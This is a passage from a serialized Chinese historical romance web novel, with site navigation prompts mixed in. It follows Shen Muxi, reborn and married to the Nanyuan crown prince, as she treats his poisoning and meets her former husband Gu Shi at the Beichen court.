外头传来了几个丫鬟的声音。 沈慕兮母女二人同时打住了话题。 慕容景衍进屋就听到格外安静,笑着问道,“怎么,有什么话是本宫不能听的吗?” “没...没有。”顾筱筱捂着嘴。 眼里泄露的情绪却与她嘴里说出来的意思完全相反。 就差“快来问我”几个字刻在脑门上了。 沈慕兮无奈地唤来了红豆绿萝,让她们带顾筱筱这个“小叛徒”退下。 慕容景衍上前,十分自然地坐在沈慕兮面前。 “朝堂的事情,基本上尘埃落定,过几天,我们就可以动身去北宸。” 他的语气淡然,眉宇间还带着疲惫。 很显然,他才刚从外面回来,就第一时间来到她这里。 像极了夫妻之间的报备... 想法一出来,沈慕兮的心底瞬间涌上一股怪异的感觉。 “我与顾时之间的恩怨,我要自己了断。” 她的声音很轻,像是要说给慕容景衍听,又像是在提醒自己。 慕容景衍起身,“本宫知道了,今日前来,也是提前告知,好让你做准备。” 这章没有结束,请点击下一页继续阅读!他站在原地不走,又是一阵沉默。 两人之间相识横亘了一层隔阂。 沈慕兮莫名有种与他相看无言的错觉。 她坐在原地,动也不是,不动也不是。 好一会,才听到慕容景衍像是从喉咙里挤出来的声音。 “前些天,筱筱一直期待春猎的时候吃炙肉,没吃成,今晚我打算跟她在后院果园用果木炙肉,你,要来吗?” 瞧他那话,说得好像筱筱才是她的女儿似的。 回想顾筱筱对慕容景衍的态度。 沈慕兮的心里不断冒起酸泡泡。 她像是赌气一般重重点头,“好。” 有便宜不占王八蛋。 况且... 她也喜欢吃炙肉。 北宸的炙肉,跟她在现代时候吃过的烤肉味道差不多,只可惜那会,只有她爱吃... 也不知道南渊的炙肉味道如何。 莫名的。 沈慕兮竟开始有些期待... ... 期待早了!! 入夜。 沈慕兮手里握着红豆硬塞到她手上用来翻肉的竹夹,愣愣地站在果园池塘边的凉亭前。 走也不是,留也不是。 凉亭的石桌上。 精美铜制火炉上的碳火正在卖力燃烧。 碳火上的炙肉滋滋冒油,慕容景衍在给炙肉刷蜂蜜加辣椒面。 整个果园瞬间弥漫着炙肉的焦香。 沈慕兮激动的泪水差点从嘴角里留下来。 可是只要一想到整个果园除了她跟慕容景衍,就剩下那些挂着花的果树,她瞬间觉得炙肉不香了。 “殿下,我...” 她想走,可她这条破腿不仅死活迈不出离开的步子,还给她丢人地走到了炙肉旁。 走近之后,炙肉看上去更好吃了。 她忍不住咽了一口口水。 “沈慕兮。” 突然被点名,沈慕兮一个激灵,又迅速咽下了一口口水。 抬头对上慕容景衍含笑的眸子,她恨不得立刻找个缝隙钻进去。 “殿...殿下?” 慕容景衍笑道,“我不吃人,所以,你不用把手里的夹子握得那么紧。” 她那是怕他吃人吗? 她那是紧张。 以前她跟顾时相处的时候,基本都是她在为顾时张罗一日三餐。 顾时基本上都是吃完了就离席,还美其名曰,君子远庖厨。 更不用说亲手为她炙一片肉。 不,不对,顾时嫌弃炭火熏染味道重,所以在她吃过一次炙肉以后,他就十分嫌弃地不许她再吃。 偏偏筱筱的口味随了她,喜欢一些焦香酥脆的食物... 所以,只有她跟筱筱在丹阳的时候,她跟筱筱几乎隔三差五就炙肉吃。 只是那会,她满心满眼都是对顾时的担忧,早已忘了炙肉原有的滋味... 思绪翻涌间,一片带着焦香的炙肉已经落在了她的碗里。 “趁热吃啊,凉了就不好吃了。” 沈慕兮心中狂跳。 慕容景衍到底是哪根筋搭错了? 喜欢妻女惨死后,渣王爷一夜白了头请大家收藏:()妻女惨死后,渣王爷一夜白了头更新速度全网最快。 第171章 你就这么讨厌见到我? 他这副笑着要看她吃肉的模样,与往日处理公务时候的冷肃截然不同。 沈慕兮只觉得毛骨悚然。 可是... 垂眸看到碗里炙肉焦黄,还带着诱人的色泽。 她还是忍不住用筷子夹起了一小块炙肉放入口中细嚼。 外焦里嫩,焦香的同时还锁住了香甜的肉汁。 让人吃了一口忍不住连舌头都吞下。 “怎么样?” 慕容景衍一脸期待地看向她。 一双眼睛像是映入整片星河。 沈慕兮无法说出违心的话。 “好吃。” 她毫不吝啬地朝他竖起了大拇指。 紧接着,她的动作越来越快。 很快,慕容景衍烤好的一小盘炙肉已经全数进了她的肚子里。 沈慕兮懊恼得想要打自己那张馋嘴。 碍于慕容景衍还在,她只好礼貌且不失尴尬地朝他微笑。 “我...我平日吃东西没吃那么块。” 她窘迫得耳朵都要烫熟了。 “无妨。” 慕容景衍嘴角微扬,修长的手指再次用竹夹夹起腌制好的生肉,娴熟地翻烤起来。 明明烤肉多少会带些烟熏火燎的狼狈。 可果炭似乎对他有着格外的偏爱。 烟都跑沈慕兮那边去了。 她不得不走到慕容景衍身边。 两人才靠近,那种相看无言的怪异感觉又来了。 她甚至还可以感觉到慕容景衍整个人都在绷紧,似乎想要极力与她保持距离。 沈慕兮摸了摸鼻子,不动声色地后退了两步,顺便岔开了话题。 “筱筱什么时候来?” “我已经让贺鸿贺玄在她的小院子搭了烤架,这会她估计在她的院子里吃得正香,你也莫要在这个时候去扰了她的兴致,回头给她喝点消食茶就是。” 提起顾筱筱的时候,慕容景衍的声音不由自主地压低了些,连头发丝都透着温和。 连沈慕兮自己都觉得难以置信。 她说什么了吗? 这就开始护上了? 想到顾筱筱在自己面前不遗余力地为慕容景衍说好话,沈慕兮酸溜溜地开口,“你倒是说得轻巧...” 其实她想问的是——为何要这般刻意接近筱筱?目的是什么? 但是她不敢。 一个能够在短时间内悄无声息将皇帝以及一众反对他监国的大臣解决的人,不可能是善茬。 对于这种人来说,利益大于一切... 似是看穿了沈慕兮的想法,慕容景衍淡淡一笑。 “虽说你我二人成婚的礼节还未周全,可到底也是成了婚,过了明路。莫说筱筱如今明面上是我的女儿,便是你的女儿,如今她喊我一声父亲,我也当得。 父亲疼爱女儿,天经地义。” 他用轻描淡写的语气说出了理所当然的话,给了沈慕兮极大的震撼。 即使是在她那个号称男女平等的现代世界。 寻常男人也不一定能够接纳女人二婚带着孩子嫁给他。 可偏偏他却这么自然地将话说出来。 这人... 居然为了利益,可以这般忍辱负重! 他不成功,谁成功? 沈慕兮暗暗下定决心,等回去北宸解决了她以前的事情以后,就卷着银子带着女儿远走高飞。 慕容景衍沉浸在沈慕兮刚才把他的炙肉吃完的喜悦中,满脑子都是刚才沈慕兮吃上炙肉时候那双泛着亮色的眸子。 丝毫没有注意到之前好不容易因为炙肉而拉近的距离,会因为自己顺嘴说出来的想法而被沈慕兮再次推远。 空气之中盈满了烤肉香气。 沈慕兮心事重重,思绪已经无法被肉香左右。 这时,沈慕兮才注意到,慕容景衍跟平日打扮的不同。 此时的他,已经换下了从外头回来那套繁复且绣有精美纹路的玄色长袍。 身穿一身轻便的素色常服,挽起衣袖的熟练给半熟的肉撒上其他香料。 以往一丝不苟以金冠或玉冠束起的发髻,此时也用了与常服同色的发带束成马尾绑在脑后。 难怪她总觉得慕容景衍这会特别平易近人。 原来是少了上位者的气势。 不可否认。 慕容景衍长得很好看。 可... 好看仅仅只是一个人最微不足道的有点。 顾时也好看,可是最后,给她带来的,却是灭顶之灾。 同理。 她与慕容景衍,终究不会是同路。 夺位之事,慕容景衍行动迅速打了所有人一个措手不及。 足以说明,他是有能力和有野心的。 并且这个有能力有野心的人,很快就会成为南渊的新国君一展抱负。 一日为君,就会有佳丽三千。 她好不容易重生,不可能再把自己的人生浪费各种尔虞我诈上... 想到这里,她不动声色地从袖袋取出瓷瓶,倒出一枚小药丸,趁着慕容景衍没注意,塞到嘴里咽下。 随后装作观赏湖边风景,走到了美人靠坐下,以手撑着下颌。 慕容景衍的注意力还在半熟的炙肉上,并没有注意到沈慕兮刚才做的事情。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!“沈慕兮。” 慕容景衍轻声开口,打破了凉亭中的沉寂。 一阵带着暖意的微风袭来,很快吹散了他的声音。 也不知道是因为靠在火旁太热还是什么缘故,夕阳打在他的身上,为他整个人都染上了一层绯色。 眼前不远处就是她被夕阳拉长的影子。 他目光一瞬不瞬地盯着她的影子,连夹肉的手也微微颤抖。 “我...我...” 他支支吾吾了半天,深呼吸一下,总算继续开口说下去,“其实,你不用那么累...” 影子轻轻点头。 慕容景衍整个人激动得差点原地跳起来。 “我...我是说,筱筱与我十分合得来,其实你可以考虑一下...” 影子点头的幅度越来越大,慕容景衍话到一半,猛然回头看向沈慕兮的方向。 纤细的背影正在背对着他,一只素手撑着下颌,不断点头打盹。 他放下了夹肉的夹子,轻轻凑到沈慕兮面前。 美人伸手托着下巴,双目紧闭,嫣红的樱唇微张,在惯性之下,不停地轻点脑袋。 她居然睡着了! “...” 慕容景衍好不容易鼓起的勇气,像是突然遇到了什么东西,被一戳就破。 他小心翼翼上前。 微风带起凉亭边树上的一片落叶,一下子糊在她的脸上。 熟睡的人毫无所觉。 慕容景衍伸手轻轻捻去她脸上的残叶。 指腹无意间触碰到她的脸颊。 细腻的触感如同火苗一般从慕容景衍的指尖一寸一寸侵入到他的胸腔位置。 他的胸口像是被烫了一下,连带心跳也慢了几拍。 他无奈叹气,喃喃自语,“本宫可是好不容易鼓起了勇气,你倒是睡得安稳。” 不过,你逃不掉的。 他还不信,她能每次都睡得着。 倏地,他眼底才漾开的笑意微收。 很快,贺玄已经一路小跑来到跟前。 “殿下,边关急报,回疆那边,似乎有异动。” ... 北宸。 自从沈慕兮惨死以后。 顾时像是换了一个人。 不管是做什么,总是有气无力地提不起精神。 他尝试过用很多种方法走出来。 可是,每次只要他尝试遗忘,第二天,沈慕兮的模样在他脑海里却愈发清晰。 仿佛只要一闭眼,下一刻,她就能从他的脑海里蹦出来。 不仅如此。 他的脑海里还时不时会出现两个声音在争吵。 一个声音在大骂他忘恩负义,为了荣华富贵,连妻女的死活都毫不在意。 另外一个声音却在安慰他,人非圣贤孰能无过,沈慕兮母女的死,原因在于沈慕兮太过贪心。 若是她当初不回来京城,就什么事情都没有... 顾时头痛欲裂。 偏偏在这种时候,他右手的旧伤又复发了。 那种像是刻在骨血中的疼痛,每时每刻都在撕扯着他的血肉,让他痛不欲生。 王英担忧地看向顾时,一脸不安地询问小刘大夫刘文刀,“最近我家王爷每逢阴雨天气,右手手臂往手掌的方向便会疼痛乏力,连笔都握不住...” 刘文刀摇头收回了搭在慕容景衍脉腕上的手,又查看了慕容景衍右手肩膀后那条狰狞的伤疤。 按压了两次,都得到了慕容景衍摇头的答复,他才幽幽叹气道,“都说伤筋动骨一百天,王爷手上的伤痛,只怕已经给王爷带来了不少的困扰。 其实王爷手臂上的伤本来可以痊愈,可是在痊愈到一半的时候,王爷却突然停了所有膏方。 这已经是属于旧疾了,而且拖得太久,骨毒早已入五内,如今再用新的膏方药贴,不过只是表皮的舒缓作用,若是可以,最好还是用回最开始的膏方,暂且延缓骨毒的蔓延...” “最开始的膏方...” 王英迟疑地看向顾时。 顾时脸色惨白地捂着右手后肩的伤势,“那个膏方,本王如今还有一帖,就是不知小刘大夫还能否按照原有的膏方重新为本王做药贴?” 刘文刀脸上顿时洋溢一片喜色,但是很快,他的喜色又黯淡了下去。 “若是时间太久了,草民不一定能够百分百复原。” “也就大概一年左右,若是小刘大夫认为有用,本王便将那一贴未用的膏方让你带回去。” “不必带回去,”刘文刀连连抬手推拒,“让草民带一点药膏回去钻研即可,剩下的,可以这次帮王爷敷上,暂缓王爷的疼痛。” 顾时苦笑,“好。” 他心里一阵懊恼。 做梦都没想到,当初他嫌弃沈慕兮的膏药,竟有如此奇效。 偏偏那会,他满脑子都是与母妃回来感受京城的繁华,在她将膏药塞给他的时候,他还十分不耐烦。 一路回京,除了揣好她给的银子以外,他几乎将她给他的吃穿用度全丢在路上。 连她给他的十多张膏方,等回到京城之时,也只剩下那么两张... 这章没有结束,请点击下一页继续阅读!还是下人以为那是他重视的东西,收了起来... 最后一帖膏药贴在顾时的伤处,温热的感觉从伤处蔓延,竟让顾时产生了一种沈慕兮还在身边照顾的错觉。 他的神色一阵恍惚。 王英不知道什么时候退了下去。 顾时兀自沉浸在自己的哀伤之中,全然没有注意到苏柳溪从进了书房。 看到顾时失魂落魄的表情。 苏柳溪气不打一处来,狠狠上前想要拎住顾时的衣领,还未开口说话,就被顾时突如其来且毫不留情的一巴掌打蒙了。 巴掌来得突然,她一连旋转了两圈半才堪堪站稳。 捂着右脸,她难以置信地看向顾时,“你知不知道你现在做什么?” “我不知道,我也不想知道。” 回忆被骤然打断,顾时眼神阴鸷地收回打了苏柳溪的手,冷声开口。 苏柳溪缓缓放下右手,露出了脸上明显的巴掌印,冷眼看向顾时,也没了刚才的柔弱,“你知不知道你现在这个样子,像什么?” “你这个失魂落魄的模样,像极了丧家之犬。”她的声音骤然拉高,语气带着扭曲的快意,“人都死了,现在还在缅怀过去装深情给谁看?” “闭嘴。” 仿佛被戳到了痛处,顾时红着眼眶,激动地站起来瞪向她。 “难道我说错了吗?”苏柳溪朝他微微一笑,一双眸子恨恨地瞪向他,“你看看你现在这副人不人鬼不鬼的样子?还哪有半点当初回京被封为荣郡王时候的意气风发?” “你再这样下去,莫说是苏府,连我也要放弃你了。” 若不是苏府强行将她押在荣郡王府,“苏勇”下落不明,苏柳溪甚至连废话都不想跟顾时多说。 她恨极了现在在荣郡王府这种使不上劲又逃不掉的憋屈感。 顾时看在苏府的面上,没有将她跟悦悦赶尽杀绝。 可眼下,他也没有再将她当成柔弱女子,该动手的时候绝不留情。 比如刚才那一记猛烈的巴掌... “苏府?呵。” 顾时意味深长的冷笑拉回了苏柳溪的思绪。 他嘴角嘲讽的笑容刺痛了苏柳溪的双眼。 “若非苏府在背后为你扫尾,前些天就你惹下的祸事,足以让整个荣郡王府覆灭。 顾时,做人不可以忘恩负义。” 她说得义愤填膺。 换来的还是顾时的冷笑,“是啊,做人不能忘恩负义,可我却偏偏做了那个忘恩负义的人。” 连仇人在眼前,他都不能立刻手刃仇人为沈慕兮母女复仇。 也许,这才是沈慕兮母女一直成为他梦魇的缘由... 看到顾时已经有点精神不太正常。 苏柳溪自知若是再掰扯下去,事情又是掰扯得不清不楚,只好转移了话题。 “眼下,南渊使节即将到来,皇上已经将接待南渊使节一事全权交由你处理,应该要如何做,不需要我多言了吧。” 提及到“南渊”,顾时像是触发了什么开关一样。 “...当初,筱筱就是在南渊被找回来...” 人到走投无路的时候,总喜欢把希望寄托在不可能的事情上。 顾时也是。 即使如今沈慕兮母女二人的尸体臭了,他还是在这里故作深情地催眠自己,她们母女二人只是金蝉褪壳。 着实可笑。 不等苏柳溪笑出声,顾时像是才发现她还没离开,冷声开口下了逐客令。 “你的话说完了,可以滚了。” 他对刚才甩她巴掌的事情,只字不提。 不仅没有道歉,连态度亦是十分恶劣。 苏柳溪几乎是咬着牙问顾时,“你就这么讨厌见到我?” 喜欢妻女惨死后,渣王爷一夜白了头请大家收藏:()妻女惨死后,渣王爷一夜白了头更新速度全网最快。 第172章 以南渊太子妃的身份再见顾时 “难道我不应该讨厌你?” 顾时轻嗤反问。 “当初若非是你从中作梗,我有何至于...” 似是不想再回忆过往,顾时的眼底闪过一抹痛楚。 如今虽说花白的头发发根已经有了复黑的迹象,可是,只要一想到自己可能一辈子都见不到沈慕兮母女。 那股紧紧缠绕在心头的窒息以及痛苦感就无论如何都散不去。 “趁着我还能控制自己不杀了你,滚。” 苏柳溪气结,“你...你简直就是不识好歹。” 似是不甘心,离开之前,她撂下了一句,“你若是让我不悦,便是与整个苏府作对,顾时,我希望在荣郡王府这方面,你不要做糊涂事。” 顾时置若罔闻。 目光依旧落在虚空位置。 直到下人来报,裴望来了。 这些天,因为与裴望打交道的次数越来越多,顾时与裴望算是愈发熟稔。 “苏府最近有动作。” 听到裴望带回来的消息,顾时丝毫不意外。 “我的人已经跟我说了,苏康最近与回疆人走得很密,而且,苏勇没死,在他身边的人,亦全是回疆人。” 裴望神色凝重,“如此看来,苏府有意与回疆勾结,意图挑起我北宸与南渊的仇恨,若是两国交战,最后还是回疆得利。” “圣上那边,似乎没有太大的反应,你怎么看?” “还能怎么看?”裴望冷笑,“不过就是想要装糊涂去占便宜罢了。” 毕竟,南渊这块肥肉,谁不想上去咬一口? 可到底谁先开这个口,现在还真不好说。 只是... “若是开战,定然也是生灵涂炭,只是可惜了那些百姓。”顾时轻嗤一声。 声音里带着浓浓的嘲讽。 “先看看南渊的意思如何,我知道,现在出使前来的是南渊那个不受宠的太子跟太子妃,若是南渊太子亦是主和,那我们也许还能跟他合作。” 说到这里,顾时的涣散的眼神逐渐聚拢,似是喃喃自语一般开口,“就怕,那南渊太子,也是个草包。” ... “阿嚏~~” 与此同时,远在万里之外坐在高头大马上的慕容景衍毫无形象地打了个大喷嚏。 贺鸿好奇地转头看向慕容景衍,“属下刚才就觉得那一股奇怪的山风吹过来不妥当,没想到一下子就给您吹着凉了。” “行了,少在本宫面前贫嘴。” “殿下,实在不行,咱们也别硬扛着,您先进去马车里面坐着,不然您的风寒只会加重。” 更别说到时候踏入北宸境内要换上四面透风的舆撵,若是让人看到挂在鼻子上的两条大鼻涕,多损害形象... 光是那么想,贺鸿就觉得浑身不得劲。 转头对上慕容景衍似笑非笑的眼神,他脖子一缩,夸张地侧耳倾听,“...啊,属下好像听到贺玄在叫人,属下去看看。” 说完,贺鸿一溜烟似的打马往前走了。 沈慕兮在马车里将二人对话听得一清二楚。 忍不住掀帘看向在原地缓缓打马前行的慕容景衍,“我不吃人,你进来,我还能为你号个脉。” 万一真的是风寒,她手上有一些长期备下的伤风散,服下出一身汗就好了。 慕容景衍还想开口拒绝,对上她略带关切的目光,拒绝的话无论如何都说不出口。 最后还是唤来了贺鸿牵走了他的马,而他则乖乖进了马车。 夏蝉识趣地退下。 沈慕兮一丝不苟地为他号脉。 慕容景衍背在身后的左手指腹都要被他捻出火花了... “其实筱筱倘若是一直留在小东宫,也是可以的,没必要一定要将她送去丹阳。” “对我来说,丹阳也属于是我的根。” 落叶归根,不管以后她跟筱筱要在何处游历,筱筱不知道会在哪一个歇脚点与她分开,她总要回去她曾经来时的路。 不忘“漂亮活着”这个初心。 后面的话,沈慕兮没有跟慕容景衍说。 在她看来,十分没必要。 慕容景衍本就想找话题打开话茬。 奈何她根本油盐不进。 快要搓出火星的手指总算停下来抽空摸了摸鼻子,缓解自己的尴尬。 沈慕兮号脉,本来只以为慕容景衍是风寒。 脸上十分轻松。 可随着指尖搭上慕容景衍的脉腕,她的神色逐渐凝重。 最后松开了搭在慕容景衍脉腕上的手。 “如何?风寒很严重吗?” 慕容景衍神色依旧轻松。 沈慕兮却像是不信邪一样,重新再次给慕容景衍搭脉。 后面这一次认真号脉,果然让沈慕兮号出门道来了。 “陛下这种咳嗽打喷嚏的情况维持多久了?” 她的眼神太过可怕,仿佛下一刻就要把自己的眼珠子瞪出来。 慕容景衍连忙细细回忆,“从给你炙肉的那日晚上开始,喉咙便有了异物感,翌日就开始咳嗽,至于打喷嚏,本宫说刚才是第一个,你信吗?” 本小章还未完,请点击下一页继续阅读后面精彩内容!有什么信不信的? 人吃五谷杂粮,别说打喷嚏了。 即使是慕容景衍放屁打嗝上茅房都是很正常的事情。 沈慕兮点头,“自然是相信的。” 不知是不是她的错觉,在慕容景衍提及炙肉那日,她似乎看到了慕容景衍略带哀怨的眼神。 后来也没有听人提及过炙肉那日发生什么事,她一觉睡过去以后,就过了。 没人说起来,她自然也就不提了。 难道是因为那天他炙肉太多,吃不完,浪费了? “如果说,与你接触的东西有什么不一样,大概就是,本宫从宫里出来以后触碰了一封密函,后来炙肉那日,你熟睡了,贺鸿前来找本宫说了一些公务,期间本宫也触碰了一封封了蜡的密信,其他,并无异常。” 随着自己的排查,沈慕兮的脸色越来越凝重。 慕容景衍的心也开始悬起来,“可是有什么问题?” 沈慕兮抬眸直直对上慕容景衍疑惑的眼神,“恭喜殿下,你又中寒毒了。” 慕容景衍:??? !!! ... 半个月后。 北宸京城。 顾时一大早就带着下人等候在城门外。 就是为了迎接南渊使节。 从旭日初升,一路等待到烈日高悬。 南渊的旗帜总算在开始出现在眼前。 紧接着,就是一队骑兵,骑兵后,是一架北宸专门用来接待来使的华贵撵舆,后面是南渊朝贡之时,带过来的贡税。 队形整齐划一。 似是与往年的进贡出使都不一样。 尤其是当南渊整队人马停在他面前的那一刻。 顾时的心更是不受控制的漏跳了一下。 历年来,南渊出使护送朝贡,都是由南渊护卫护送,再由北宸侍卫接手。 之后有礼部安排到专门的别苑行宫住下,再等圣上传召。 在面圣之前,南渊使节要留在别苑不能随意外出。 沈慕兮全程坐在舆车里,远远地。 她就看到了戴着官帽依旧盖不住花白头发的顾时。 当她看到顾时白发的发根发黑,她心中只觉得讽刺。 说来好笑。 顾时一夜白发,还有她的功劳。 顾时这种人,从来只会爱自己,又哪有什么深情? 如今也好。 彻底看清顾时的心意,她可以毫无保留地收回属于她的一切。 以前她觉得,顾时哪哪都好。 如今滤镜褪去。 她觉得,也不外如是。 经历了所有的风风雨雨,她只希望,把之前给到顾时身上的东西全数收回来,之后,她与筱筱,游历中原五国。 “使节远道而来,辛苦了,我们圣上特地备下了洗尘宴,明晚请使节进宫觐见我们陛下。” 在一旁内侍介绍道,“这是我们当今礼部侍郎顾侍郎,若是南渊殿下在北宸遇到任何情况,可以找顾侍郎...” 中原五国同根同源,基本上官制职权相差不大,唯一不同的就是如今礼部尚书的位置有空缺,而圣上似乎一直没有找到合适的人选,因此如今礼部的大小事务基本都是由顾时代管。 所以内侍看上去也只是例行公事介绍。 让双方见个面,好进行下一步。 “...这是南渊太子殿下,还有太子妃。” 被提及到,沈慕兮也不好再遮遮掩掩,在慕容景衍出了撵舆只有,自己也主动掀起落在自己眼前的帘子。 这一掀,让本来目光只是有些漫不经心的顾时瞬间瞪大了眼睛。 沈慕兮掀帘子的时候有一个很特别的习惯。 别人都是抬手打帘或者由下人掀帘子。 偏偏她喜欢用拇指跟中指捏着帘子的一角轻轻掀起,食指作为借力点轻轻压在上面。 这个动作,普天之下,只有沈慕兮做得顺畅。 再看那张从舆车帘后出现的绝色面容。 顾时甚至有一种自己初遇沈慕兮时候的错觉。 那眼神.... 简直是太像她了。 “嗡——”的一声,像是有什么东西在脑子里炸开。 一时之间,顾时竟忘了自己身在何处,连呼吸都像是被扼住了一样。 直到身后的一名员外郎轻唤,“顾大人...” 顾时这才惊觉自己走神厉害,连那个南渊太子都在十分不悦地看着自己。 “顾大人这是怎么了?莫非是本宫的模样太吓人,吓到顾大人了?” 慕容景衍和气一笑,笑意却丝毫不到眼底。 “南渊殿下言重了。” 顾时嘴角扯出一抹勉强的笑,上前跟慕容景衍拱手见礼。 慕容景衍“嗯”了一声,漫不经心地开口道,“这是本宫的太子妃。” 顾时一愣,对上那位“太子妃”探究的眼神,心里那个荒谬想法,更加强烈。 一句“太子妃”哽在喉间,像是要把他全身力气都要抽走。 他紧紧捏住掌心,好一会才稳住了自己的身形。 “臣,顾时,见过南渊太子妃。” 一字一顿,像是匕首划在金属板上。 本小章还未完,请点击下一页继续阅读后面精彩内容!连随行的员外郎都格外意外地看了顾时一眼。 似乎不明白他的失态从何而来。 慕容景衍像是没有看到顾时的失态,只是微微颔首,便满意地牵着沈慕兮回去舆车中。 任由其他人做安排。 别苑里的下人动作很麻利,慕容景衍跟沈慕兮很快安顿好并且将下人都打发了。 才刚落座,沈慕兮便开始为慕容景衍施针。 经过了半个月的施针解毒,慕容景衍体内的余毒总算清得差不多了。 这是最后一次施针。 在沈慕兮收针以后,这半个月以来一直紧皱的眉头才放松了下来。 慕容景衍定定看着她,好一会才缓缓开口,“你很担心本宫?” 像是被看出了心中所想,沈慕兮连忙否认,“没有。” 她借着为银针消毒的时候转身,口是心非地开口,“筱筱喜欢你,我不想让筱筱难过。” “我不会有事,这次只是大意,没想到回疆人竟然也会这么狡猾。” 谁能想到,那些人居然会想到把毒下在蜡戳上? 而且还是要十二个时辰之内接触过宫里的安神香才起效。 像是早已知晓他一定会触碰到那些东西一样... “这次余毒拔出来,之后半个月你都要泡药浴,另外...” 沈慕兮从腰间取出一个小瓷瓶放到慕容景衍手上,“一天一颗,直到药浴泡完。” 光滑的瓶身上还残留着女子的体温,慕容景衍这一次没有再问为什么,而是握着瓷瓶的手紧了紧,“好,本宫知道了。” 声音低沉微哑。 ... 荣郡王府。 白天顾时在看到南渊太子妃走神的事情,很快传到了苏柳溪的耳中。 她当场扫落了一个精美的彩瓷花瓶。 “王爷当真是看呆了?” 翠娥点头,“回来的人是这么说的,要不是员外郎提醒,只怕他早已惹来南渊太子的不悦。” 苏柳溪双拳紧握。 “不行,顾时这样,迟早会坏事。” 今日的事情万一让有心人利用... 后果,她不敢细想。 她决定,要再跟顾时开诚布公地详聊一下。 没想到,等到半夜,才等来了顾时公务繁忙,今日不回府歇下的消息。 苏柳溪心里的不安更加浓烈了。 尤其是第二天就是宫宴。 苏柳溪辗转反侧,一夜未得好眠。 翌日天微微亮,她就打发了翠娥回去了苏府一趟。 宫宴很是盛大。 沈慕兮跟慕容景衍作为使臣,不用像本朝朝臣一样提前到达宴会。 因此,他们赶到的时候,宫外已经停了许多马车。 作为使臣,慕容景衍跟沈慕兮还被特别恩准,走御道。 不管是出于什么原因,北宸帝也算是给足了南渊使节脸面。 “此次只怕是鸿门宴,等会本宫先去见一个故人,不管发生什么事,你都只留在位置上,莫要乱走。” 慕容景衍不放心地交代。 他知道,不管是沈曦还是沈慕兮,都没有参加过宫宴。 喜欢妻女惨死后,渣王爷一夜白了头请大家收藏:()妻女惨死后,渣王爷一夜白了头更新速度全网最快。 第173章 一个十分有意思的故事 虽说南渊北宸两国文化相似,可到底也不是在自己的地盘。 有些麻烦,能免则免。 “放心吧,没吃过猪肉,我也见过猪跑。”沈慕兮挺直腰板,一副“完全没问题”的模样。 如同慕容景衍所想。 她没有参加过宫宴。 可是她不是傻子。 以前在丹阳的时候,也偶尔女办男装出席过一些商会。 远远看到过那些商人女眷在宴席之时做些什么。 无非就是喝喝茶,聊聊天,不多言就不会错。 再加上,这是给南渊使节的洗尘宴,若是今日她在宫宴上发生什么事情,丢的是北宸帝的脸面,只要北宸帝不傻,他都不可能允许在洗尘宴上有人对南渊的人动手。 顶多就言语上试探一下慕容景衍... 思忖间。 沈慕兮已经跟夏蝉到达了设宴的天宝临台。 天宝临台是一座巨大的水榭,水榭旁是一个极大的人工湖。 湖面绿荷片片,粉荷朵朵,与湖边艳红的宫灯交相辉映,看上去一片欣欣向荣。 远远望去,还有不少贵妇贵女三五成群地在湖边赏荷。 似是在谈论什么有意思的话题,时不时传来几声轻笑。 精美的钗环在宫灯的映照下熠熠生辉。 不多时,宫娥开始捧着茶盏鲜花进入水榭。 其他正在交谈的女眷亦开始陆续入席。 与丹阳时候的圆桌宴席不同,宫宴的宴席是独人独桌。 沈慕兮入座的时候,其他官家女眷基本已经落座完毕。 偌大的天宝临台,安静得连宫娥走路时候的轻微幅度都可以听得到。 整个环境,庄严且压抑。 就在这时,一个小宫娥将一小碟精致的、冒着香气的红豆酥放在了沈慕兮面前。 在一众摆花弄草的宫娥之中,沈慕兮这一小碟子红豆酥显得格外突兀。 宫宴流程向来严谨,为了不惹来不必要的麻烦,基本上都是整齐划一,连圣上都不可能脑袋一热就特别关照哪个人。 否则,也不会有话本子上写的那些,要动些什么手脚要在杯子或者酒水上动手... 那些东西毁灭证据容易。 相对而言,一份点心,搞不好,随时会要人命... 沈慕兮用手上丝帕隔着手指轻轻动了一下放有红豆糕的小瓷碟。 一张小小的纸条在瓷碟底部露出了一角。 她拿出小纸条,迅速瞥了一眼。 当她看清小纸条上所有的内容以后。 终于还是没忍住不屑地轻笑一声。 顾时还真是又蠢又低劣。 居然想用这一小碟子红豆酥就将她试探出来? 以前沈慕兮对红豆酥几乎是不能抗拒。 那入口即化的千层酥脆口感,沈慕兮那会连做梦都想吃上一口。 偏偏顾时说,吃红豆酥是一种细致的享受,若无闲暇,根本品不出它的层次。 还说让她吃红豆酥,如同给牛吃牡丹一样,暴殄天物。 从那以后,她吃红豆酥只敢跟筱筱偷偷躲起来吃。 有两次偷吃了,筱筱衣襟上的红豆酥碎屑没有拍干净,沾了一些在衣襟上,被老王妃以及她身边的下人取笑了好久。 筱筱那会不过三四岁,她不明白为什么祖母身边那些姐姐为什么会笑她,但是她会分好歹。 她们的笑,是取笑,是不怀好意的笑。 知道吃红豆酥会惹来旁人取笑,到现在都不愿意再碰一口。 所以... 顾时哪来的脸用红豆酥试探她? 哪来的脸给她递小纸条? 回想起小小的顾筱筱自卑的模样,沈慕兮眼眶发酸,心底对顾时的厌恶又多了几分。 她若无其事地把目光从红豆酥上收回,将纸条塞给夏蝉,在夏蝉耳边低语了几声,在夏蝉离开后,她重新挺直腰板坐好,仿佛没有任何事情发生过。 ... 与此同时。 顾时在天宝临台外相隔五十丈的巨型假山内左等右等,看到逐渐有人靠近,他心中狂跳。 等待看清来人,他的眼底闪过一抹震惊,很快又恢复了正常。 “怎么是你?”他语气淡淡地开口。 “怎么不能是我?”苏柳溪挑眉,她眉宇沉沉,似是隐忍了极大的怒火,“怎么,你以为来的是谁?” “没有,”顾时甩袖转身,“我还要去羽林卫跟御林军那边走一趟,之后还要去膳部司,你先回宴席。” “三言两语就想打发我?”苏柳溪顾不得形象,大步上前一把扯住了他的官袍衣袖,“顾时,你知不知道你现在到底在做什么蠢事?那是南渊太子妃,不是你可以招惹的。” “你个蠢妇,闭嘴。” 顾时恼羞成怒,一把甩开了她的手。 力度太大,苏柳溪一个站立不稳,踉跄两步,撞在了假山上。 她的右手手臂位置顿时传来一阵钻心的疼痛。 顾时连忙想要伸手将苏柳溪扶起,伸到一半,他的手停在了半空。 似是害怕引来旁人注意,他放下双手,重新压低了声音,“这事,我心里有数,你不用管。” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!苏柳溪被气得眼眶发红。 奈何顾时转身以后就利落离去,连一个停留,一个眼神都不留给她。 